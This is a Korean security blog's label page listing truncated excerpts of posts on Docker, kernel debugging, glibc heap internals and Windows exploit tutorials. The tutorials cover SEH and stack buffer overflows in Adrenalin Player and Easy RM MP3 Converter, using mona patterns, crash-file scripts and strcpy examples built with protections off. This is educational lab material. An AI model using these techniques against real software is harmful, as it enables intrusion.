기본 콘텐츠로 건너뛰기

라벨이 SystemHacking인 게시물 표시

Docker-basic-concept

Docker-basic-concept 도커 1. 정의 컨테이너 기반 가상화 도구 2. 등장 배경 및 사용 목적 컨테이너 기술은 오래 전부터 존재했으나, 사용법이 어려워서 잘 활용되지 않았다. 도커는 컨테이너 기술을 쉽게 사용할 수 있는 간편한 인터페이스를 제공함으로써 도커 뿐만 아니라 컨테이너 기술 자체를 유행시키는 결과를 이끌어냈다. 그 결과 환경 설정의 복잡함을 도커를 이용하여 해결함으로써 많은 사랑을 받고 있다. 3. 특징 주로 사용되던 가상화 도구들(VMware, VirtualBox 등)은 인프라 시스템을 포함한 가상환경을 제공하는 것과는 달리 도커는 인프라 시스템을 제외한 컨테이너라는 개념의 가상환경을 제공한다. 이는 애플리케이션에 반드시 필요한 바이너리와 라이브러리만을 포함하고 있으며 호스트 PC와 인프라 시스템을 공유하는 환경으로 호스트 OS 위에 존재하는 격리된 공간으로 볼 수 있다. 4. 이미지와 컨테이너 이미지 : 서비스 운영에 필요한 요소들을 묶은 형태 컨테이너 : 이미지를 실행한 상태 도커는 하나의 이미지로 여러 개의 컨테이너를 만들 수 있다. 운영체제에 비유하면 이미지는 실행파일, 컨테이너는 프로세스로 이해할 수 있다. 5. Immutable Infrastructure 도커는 '한 번 설정한 운영 환경은 변경하지 않는다.'는 Immutable Infrastructure 패러다임에 충실한 도구로 서비스가 업데이트되면 운영 환경 자체를 변경하지 않고 사용 중이던 이미지를 폐기하고 이미지를 새로 생성하여 배포한다.

QEMU-Kernel-Debugging

QEMU-Kernel-Debugging Linux Kernel Debugging 패키지 설치 sudo apt-get install git gitk build-essential libncursesw5-dev g++-arm-linux-gnueabi qemu-system-arm -y sudo apt-get install ncurses-dev -y sudo apt-get install ctags cscope -y sudo apt-get -o Dpkg::Options::="--force-overwrite" install gdb-arm-none-eabi 커널 컴파일 git clone https://github.com/torvalds/linux.git cd linux make ARCH=arm versatile_defconfig make ARCH=arm menuconfig Kernel Features --> Use the ARM EABI to compile the kernel 적용 Kernel Hacking --> Compile-time checks and compiler option --> Compile the kernel with debug info 적용 make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- all 테스트 파일 생성 init.c # include <stdio.h> int main ( int argc , char * argv [ ] ) { printf ( "\n" ) ; printf ( "My ARM Init!!!\n" ) ; while ( 1 ) ; return 0 ; } arm-linux-gnueabi-gcc -static init.c -o init echo init | cpio -o --format=newc > in

Heap-Memory

Heap-Memory 힙 메모리 이해하기 많은 메모리 할당자가 존재한다. dlmalloc - 범용 할당 자 ptmalloc2 - glibc jemalloc - FreeBSD와 Firefox tcmalloc - Google libumem - 솔라리스 모든 메모리 할당자는 빠르고 확장 가능하며 효율적이라고 주장하지만 모든 할당자가 개발하고자하는 어플리케이션에 적합할 수 는 없다. 메모리 사용량이 많은 응용 프로그램의 성능은 메모리 할당자 성능에 크게 좌우된다. 이 글에서는 glibc malloc 할당자에 대해서만 이야기하고자 한다. ptmalloc2 는 dlmalloc 에서 분기되었다. fork 후 스레딩 지원이 추가되어 2006년에 릴리즈되었다. 공식 릴리즈 후 ptmalloc2 는 glibc 소스 코드에 통합되었다. System call 시스템 호출 : malloc 은 내부적으로 brk 또는 mmap 시스템 호출을 한다. Threading 스레딩 : 리눅스 초기에는 dlmalloc 이 기본 메모리 할당자로 사용되었다. 하지만 나중에 ptmalloc2 의 스레딩 지원으로 리눅스 용 기본 메모리 할당자가 변경되었다. 스레딩 지원은 메모리 할당자 성능 및 응용 프로그램 성능을 향상시키는 데 도움이 된다. dlmalloc 에서 두 개의 스레드가 동시에 malloc 을 호출 할 때, freelist 데이터 구조가 사용 가능한 모든 스레드간에 공유되기 때문에 하나의 스레드 만 임계 섹션에 들어갈 수 있었다. 따라서 다중 스레드 응용 프로그램에서 메모리 할당에 시간이 걸리므로 성능 저하를 유발한다. ptmalloc2 에서 두 스레드가 동시에 malloc 을 호출하는 동안 각 스레드는 별도의 힙 세그먼트를 유지하므로 이 힙을 유지하는 freelist 데이터 구조도 분리되어 메모리를 즉시 할당할 수 있다. 각 스레드에 대해 별도의 힙 및 freelist 데이터 구조를 유지하는 이 작업을 스레드 별

Heap-Syscall

Heap-Syscall 힙 메모리 할당과 시스템 호출 malloc 은 OS에서 메모리를 얻기 위해 brk 또는 mmap syscall을 사용하여 메모리를 확보한다. brk brk : brk 는 프로그램 중단 위치를 증가시켜 커널에서 메모리를 얻는다. 처음 시작( start_brk ) 및 힙 세그먼트 끝( brk )은 동일한 위치를 가리킨다. ASLR이 꺼지면 start_brk 및 brk 는 data/bss 세그먼트 ( end_data )`끝을 가리킨다. ASLR이 켜지면 start_brk 및 brk 는 data/bss 세그먼트 ( end_data )끝에 임의의 brk 오프셋을 더한 것과 같다. 위의 프로세스 가상 메모리 레이아웃 그림은 start_brk 가 힙 세그먼트의 시작이고 brk (프로그램 중단)이 힙 세그먼트의 끝임을 보여준다. 예시 /* sbrk and brk example */ # include <stdio.h> # include <unistd.h> # include <sys/types.h> int main ( ) { void * curr_brk , * tmp_brk = NULL ; printf ( "Welcome to sbrk example:%d\n" , getpid ( ) ) ; /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk ( 0 ) ; printf ( "Program Break Location1:%p\n" , curr_brk ) ; getchar ( ) ; /* brk(addr) increments/decrements program break location */ brk ( curr_brk + 4096 ) ; cu

Adrenalin_7_SEH_Overflow

Adrenalin_7_SEH_Overflow 아드레날린 플레이어 SEH Overflow 아드레날린 플레이어 2.2 버전에서 발견된 SEH Overflow를 알아보자. 실습은 Windbg 환경에서 진행하며 mona플러그인을 이용하여 먼저 패턴을 생성한다. .load pykd !py mona pc 30000 mona를 이용하여 생성한 패턴을 이용하여 SEH Overflow 필요 버퍼를 알아보자. 파이썬 스크립트를 이용하여 패턴을 내용으로 한 wvx 파일을 생성한다. pattern_file = open ( "pattern.txt" , 'r' ) crash_file = open ( "01_crash.wvx" , 'w' ) crash_file . write ( "{}" . format ( pattern_file . read ( ) ) ) crash_file . close ( ) pattern_file . close ( ) # maximum pattern --> 20280 크래시가 발생하고 !exchain 명령어를 수행하면 SEH 핸들러 주소가 0x35744334로 덮어쓰여진 것을 확인할 수 있다. 0:000> !exchain 0018afa8: 35744334 Invalid exception stack at 74433374 mona를 이용하여 패턴을 확인한다. !py mona po 74433374 - Pattern t3Ct (0x74433374) found in cyclic pattern at position 2140 2140만큼의 쓰레기 값을 생성하고 이어서 SEH Overflow 구문을 삽입한다. 예외 발생 시 예외 처리를 위한 스택 프레임이 생성되는 데 이때 Nseh 는 esp+8 에 위치하고 있다. 따라서 다음의 절차로 공격을 수행한다. SEH 핸들러를 POP / POP / RET 명령어로 덮

Memory-Protection_SEH_1

Memory-Protection_SEH_1 메모리 보호 기법 - SEH_1 SEH는 윈도우 환경에서만 존재하는 예외 처리 메커니즘이다. SEH Handler를 덮어쓰는 오버플로우 공격이 존재하며 현재 까지도 여러 프로그램에서 SEH 오버플로우로 프로그램을 공격한 사례들이 보고되고 있다. SEH 코드르르 디스어셈블하면, mov DWORD ptr from FS:[0] 코드를 찾을 수 있다. 해당 명령어의 기계어는 64A100000000 이다. 만약 이 기계어를 찾지 못했다면 애플리케이션/쓰레드는 예외 핸들러를 가지고 있지 않다고 판단할 수 있다. # include <stdio.h> # include <string.h> # include <windows.h> int main ( int argc , char * argv [ ] ) { char test [ 10 ] ; __try { strcpy ( test , argv [ 1 ] ) ; } __except ( EXCEPTION_EXECUTE_HANDLER ) { printf ( "error" ) ; return - 1 ; } printf ( "result: %s" , test ) ; return 0 ; } Visual Studio에서 SEH 예제 코드를 작성한 후 아래와 같이 Properties에서 프로젝트를 설정한다. properties > C/C++ > Code Generation Enable C++ Exceptions: Yes (/EHsc) Basic Runtime Checks: Default/ Security Check: Enable Security Check (/GS-) properties > Linker > Advanced Randomized Base Addre

Memory-Protection_GS

Memory-Protection_GS 메모리 보호 기법 - GS 간단한 버퍼 오버플로우 예제 코드를 이용하여 GS 메모리 보호 기법에 대해서 알아보자. 먼저 Visual Studio를 실행하여 C++ Win32 콘솔 응용 프로그램 프로젝트를 생성한다. # include <stdio.h> # include <string.h> int main ( int argc , char * argv [ ] ) { char test [ 10 ] ; strcpy ( test , argv [ 1 ] ) ; printf ( "result: %s" , test ) ; return 0 ; } 소스 코드 입력 후에 프로젝트에 설정된 보호 기법을 모두 제거한다. properties > C/C++ > Code Generation Enable C++ Exceptions: No Basic Runtime Checks: Default Security Check: Disable Security Check (/GS-) properties > Linker > Advanced Randomized Base Address: No (/DYNAMICBASE:NO) Data Execution Prevention (DEP): No (/NXVOMPAT:NO) 빌드 후 생성된 실행 파일 디렉터리로 이동하여 정상 동작을 테스트한다. GS.exe AAA result: AAA GS.exe AAAAAAAAAAAAAAAAAAAAAA Segmentation fault windbg.exe -I 명령어를 입력하면 windbg 가 등록되어 단순 오류 발생 확인에 그치지 않고 디버깅할 수 있게 해주므로 유용하게 활용할 수 있다. windbg를 실행 후 프로그램 인자로 많은 양의 'A’를 전달하여 오류 상세 내용을 확인해보자. eip가 414

Easy-RM-MP3-Converter_7_x86

Easy-RM-MP3-Converter_7_x86 Easy RM MP3 Converter Buffer Overflow (7 x86) 개요 Corelan Team 의 버퍼 오버플로우 튜토리얼 프로그램으로 유명한 Easy RM MP3 Converter의 버퍼 오버플로우를 윈도우즈 7 32비트 운영체제 환경에서 진행해보자. 목적 윈도우즈 7 32비트 환경 버퍼 오버플로우 취약점 제약 사항 파악. 목표 XP 환경과 7 환경 차이점 파악 내용 실습은 대상 프로그램에서 크래시가 발생된다는 것을 파악한 상태에서 시작한다. 입력 값 저장 위치에서 EIP까지의 오프셋 값을 파악하기 위해서 mona 플러그인으로 패턴을 생성한다. 이번 실습의 목표는 보호기법 적용으로 인한 제약 사항을 간단히 살펴보는 것에 목표를 두고 실질적인 우회 방법은 다른 예제를 통해서 알아본다. mona 플러그인을 이용한 패턴 생성 !mona pc 30000 mona 플러그인 최대 패턴 수: 20280 mona 플러그인으로 생성한 패턴을 프로그램에 전달하여 크래시가 발생된 시점에 EIP에 삽입된 패턴을 확인하면 EIP를 덮어쓰기 위해 얼마만큼의 데이터를 입력될지 파악할 수 있다. 파악한 오프셋 값이 정상 동작되지 않을 때는 최대 패턴 수를 더해서 사용한다. (최대 패턴 수를 순회하여 패턴이 생성된다.) 크래시 유발 m3u 파일 생성 생성한 패턴을 읽어와 m3u 파일을 생성하는 파이썬 스크립트를 작성하여 실행한다. pattern_reader = open ( "pattern.txt" , 'r' ) crash_creater = open ( "01_crash.m3u" , 'w' ) crash_creater . write ( pattern_reader . read ( ) ) pattern_reader . close ( ) crash_creater . close